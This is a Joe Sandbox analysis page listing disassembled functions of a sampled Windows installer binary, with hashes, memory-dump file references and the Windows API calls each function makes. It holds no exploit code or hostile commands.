Instruction ID: a230b304c224a04ada09734fd21535f6fc799ebba56fb899572f26a9c12bfdf8
Opcode Fuzzy Hash: 5bba806fd268ccce2495cde90ed89ee42926b4d772fe7f9e27bf52b1a3d679d8
Instruction Fuzzy Hash: B3D0A92221693131D562362A3D02FCF080C8F0A719F12C03BF805B60C2CB6C0A8208FE

Function 00406801 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9404108dc2ffa93cf9dbd592045f3814a42928f44e5f517cd318150646a2bbb9
Instruction ID: a6beba8b11f6780db01d9b07fb449380a5bf126b8b7197de7c08299569837353
Opcode Fuzzy Hash: 9404108dc2ffa93cf9dbd592045f3814a42928f44e5f517cd318150646a2bbb9
Instruction Fuzzy Hash: 32A14471E00228CBDF28CFA8C8946ADBBB1FF45305F11856ED856BB281C7785A96DF44

Function 00406A02 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbf333d6a46afa479c661894eff01412675f064c8667a178dbd89034fa802b91
Instruction ID: 30ee09c6b26f98e8194536109d7ce3e20b902e709c9d9403a9562c61d449f9ad
Opcode Fuzzy Hash: dbf333d6a46afa479c661894eff01412675f064c8667a178dbd89034fa802b91
Instruction Fuzzy Hash: 8F913470E00228CBEF28CF98C8947ADBBB1FB45305F15816AD856BB281C7785A96DF44

Function 00406718 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 068e376bb2d48232eda5806566f84189e2cd5aae6c77d5a6e3260a5cdfbff91e
Instruction ID: b50c8aa62e1022faa0523462bc9082c254a891c8b7a0b6d235230cb6e00c602c
Opcode Fuzzy Hash: 068e376bb2d48232eda5806566f84189e2cd5aae6c77d5a6e3260a5cdfbff91e
Instruction Fuzzy Hash: D0817971D04228CFDF24CFA8C884BADBBB1FB44305F25816AD856BB281C7385A96CF54

Function 0040621D Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90f7c6b476e538f5c80f6919ee05a76f5c0a6b18d6d689b251d68ff18896e93f
Instruction ID: 91081cf311d25a809012e225b52d4c3b5f250b1ae059806297d05f5390b66a1f
Opcode Fuzzy Hash: 90f7c6b476e538f5c80f6919ee05a76f5c0a6b18d6d689b251d68ff18896e93f
Instruction Fuzzy Hash: BB817A71D04228CBEF24CFA8C8847ADBBB1FB44305F11816AD856BB2C1C7785A96DF44

Function 0040666B Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b93bd20ea5de8414a65fbfeb926355070cd3711eb5f3dddd59222d5fbdffa392
Instruction ID: 08aa30644361a6a90b4bfdee527cb0e90186f6812c849098392b6a7b032e4156
Opcode Fuzzy Hash: b93bd20ea5de8414a65fbfeb926355070cd3711eb5f3dddd59222d5fbdffa392
Instruction Fuzzy Hash: D5712571E04228CFDF24CFA8C894BADBBB1FB45305F15806AE856BB281C7385996DF54

Function 00406789 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544fe90661504b3f73bb457df6893ab302009ecc2b1f879340368463567d4392
Instruction ID: 4a61f6f80671d808dc41601989bb6c43c22881685a3a15352730304741b477df
Opcode Fuzzy Hash: 544fe90661504b3f73bb457df6893ab302009ecc2b1f879340368463567d4392
Instruction Fuzzy Hash: 10714771E04228CFEF24CFA8C894BADBBB1FB44305F15806AD856BB281C7785956DF54

Function 004066D5 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62b97cb57a72ce22a6d8feb282019d17567d0fea9520e3f831b09b876e97210d
Instruction ID: f5c122442136fd671463674f3a0102546b50c27f43e6df69360a8f4413a57d7a
Opcode Fuzzy Hash: 62b97cb57a72ce22a6d8feb282019d17567d0fea9520e3f831b09b876e97210d
Instruction Fuzzy Hash: 63715771E04228CBEF24CF98C884BADBBB1FB45305F15806AE856BB291C7785A56DF44

Function 00401F98 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FC3

Part of subcall function 00405021: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
Part of subcall function 00405021: lstrlenW.KERNEL32(004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
Part of subcall function 00405021: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,004030DB,004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000000,0040FE48,00000000), ref: 0040507C
Part of subcall function 00405021: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll), ref: 0040508E
Part of subcall function 00405021: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
Part of subcall function 00405021: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
Part of subcall function 00405021: SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FD4
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402051

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 0b89ead58d390ff17d881e3191b7456e368a4c726051eef4ac93ade2398fe5f3
Instruction ID: a11216cf4d9ed69530e7a3120e2c7e0776abe0d849fb671ec08c4598754a23ed
Opcode Fuzzy Hash: 0b89ead58d390ff17d881e3191b7456e368a4c726051eef4ac93ade2398fe5f3
Instruction Fuzzy Hash: 2821B671904215F6CF206F95CE48ADE7AB4AB04358F70417BF611B51E0C7B98D81DA6D

Function 00401B22 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401B92
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BA4

Strings

Call, xrefs: 00401B49, 00401B4F, 00401B69

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: 964461071e6e80e359c9697dbfefeb40b1bd3ce1e0a189f69a8cb19f70afb2f2
Instruction ID: 0e9c0b35001f1033de5fa53c21d3cf865b558ccbe2596cbe26b498a02803ad8f
Opcode Fuzzy Hash: 964461071e6e80e359c9697dbfefeb40b1bd3ce1e0a189f69a8cb19f70afb2f2
Instruction Fuzzy Hash: 32219CB2600504A7CB10EB94DE85D6EB3A4EF44318B20443BF101B72E1D77C98458F5D

Function 00402454 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000004C8,00000000,00000022,00000000,?,?), ref: 00402C6C

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402483
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 00402496
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nslCCA0.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
